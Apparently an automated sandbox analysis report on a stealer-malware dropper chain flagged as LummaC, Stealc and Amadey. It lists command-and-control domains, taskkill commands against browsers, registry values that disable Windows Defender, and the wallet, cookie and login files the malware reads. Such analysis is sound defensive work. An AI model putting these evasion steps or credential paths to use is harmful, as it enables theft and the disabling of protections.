Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\5VHE3T5UQF0Q17ZEPUURN3ZOS.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\5VHE3T5UQF0Q17ZEPUURN3ZOS.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\5VHE3T5UQF0Q17ZEPUURN3ZOS.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\GVMUIWZ4K51WM0HUSRJ8R.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\GVMUIWZ4K51WM0HUSRJ8R.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\GVMUIWZ4K51WM0HUSRJ8R.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort

Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe

Code function: 3_2_04D50B3F rdtsc

3_2_04D50B3F

Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\J2IWSCR5FJAMGGW2VC4ET4.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: J2IWSCR5FJAMGGW2VC4ET4.exe PID: 7932, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: bd214fbd32.exe PID: 4864, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: num.exe PID: 320, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\num[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1001093001\num.exe, type: DROPPED

LummaC encrypted strings found

Source: file.exe, 00000000.00000003.1384221751.0000000004E70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: clearancek.site
Source: file.exe, 00000000.00000003.1384221751.0000000004E70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: licendfilteo.site
Source: file.exe, 00000000.00000003.1384221751.0000000004E70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: spirittunek.store
Source: file.exe, 00000000.00000003.1384221751.0000000004E70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: bathdoomgaz.store
Source: file.exe, 00000000.00000003.1384221751.0000000004E70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: studennotediw.store
Source: file.exe, 00000000.00000003.1384221751.0000000004E70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: dissapoiznw.store
Source: file.exe, 00000000.00000003.1384221751.0000000004E70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: eaglepawnoy.store
Source: file.exe, 00000000.00000003.1384221751.0000000004E70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: mobbipenju.store

Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe "C:\Users\user~1\AppData\Local\Temp\1001090001\8138ba21a1.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe "C:\Users\user~1\AppData\Local\Temp\1001091001\bd214fbd32.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe "C:\Users\user~1\AppData\Local\Temp\1001092001\136916b3ff.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001093001\num.exe "C:\Users\user~1\AppData\Local\Temp\1001093001\num.exe"	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe	Process created: C:\Windows\SysWOW64\taskkill.exe

Source: 136916b3ff.exe, 0000000F.00000002.1996242810.0000000000A12000.00000002.00000001.01000000.00000011.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: 3BW8PCDTI0L77ZRRJ1.exe, 00000006.00000002.1780337753.00000000005E8000.00000040.00000001.01000000.0000000A.sdmp, 8138ba21a1.exe, 0000000A.00000002.1813757219.0000000000647000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: Program Manager
Source: skotes.exe, skotes.exe, 00000009.00000002.1770858812.00000000007AA000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: O.Program Manager
Source: J2IWSCR5FJAMGGW2VC4ET4.exe, J2IWSCR5FJAMGGW2VC4ET4.exe, 00000004.00000002.1688949555.0000000000865000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: RProgram Manager

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\J2IWSCR5FJAMGGW2VC4ET4.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001093001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001093001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1001093001\num.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1001093001\num.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Source: file.exe, 00000000.00000003.1492941083.000000000598E000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1498095593.000000000120B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1573396537.000000000598E000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1504577527.000000000598E000.00000004.00000800.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2116513162.00000000011B4000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 39.2.5VHE3T5UQF0Q17ZEPUURN3ZOS.exe.f80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.skotes.exe.5c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.skotes.exe.5c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.G4X9C8XP66LPZY0PX2HHB5N.exe.590000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.1769530723.00000000005C1000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000002.2252074672.0000000000F81000.00000040.00000001.01000000.0000001C.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.1589647149.0000000004BB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1688666080.00000000005C1000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000003.2208281116.0000000005340000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.1647906928.0000000005120000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.1646501442.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1635679717.0000000000591000.00000040.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1729250008.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: 136916b3ff.exe PID: 5936, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 7412, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 8138ba21a1.exe PID: 2276, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 38.2.num.exe.360000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.num.exe.360000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.bd214fbd32.exe.50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.bd214fbd32.exe.50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.num.exe.360000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.2.H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe.290000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 38.0.num.exe.360000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.J2IWSCR5FJAMGGW2VC4ET4.exe.470000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000028.00000003.2232897578.0000000004D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.2122542040.0000000000E1B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.2204680334.0000000000361000.00000080.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.1985396722.0000000000361000.00000080.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000002.2323652564.0000000000291000.00000040.00000001.01000000.0000001D.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000003.2029327781.0000000004A20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.1883606041.0000000004A20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1600676886.0000000004E50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.2207625905.0000000000F87000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1688670034.0000000000471000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1690398993.000000000111E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000000.2182412308.0000000000361000.00000080.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.1987795463.000000000112E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1927559885.0000000000D2E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000000.1970036309.0000000000361000.00000080.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1923946896.0000000000051000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.2116759682.0000000000051000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: J2IWSCR5FJAMGGW2VC4ET4.exe PID: 7932, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: bd214fbd32.exe PID: 4864, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\num[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1001093001\num.exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000003.1431421560.00000000011F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum-LTC
Source: file.exe, 00000000.00000003.1431421560.00000000011F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\ElectronCash\wallets!
Source: file.exe	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: 8138ba21a1.exe, 00000012.00000003.2084529738.0000000001193000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: file.exe	String found in binary or memory: ExodusWeb3
Source: file.exe, 00000000.00000003.1431421560.00000000011F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: file.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
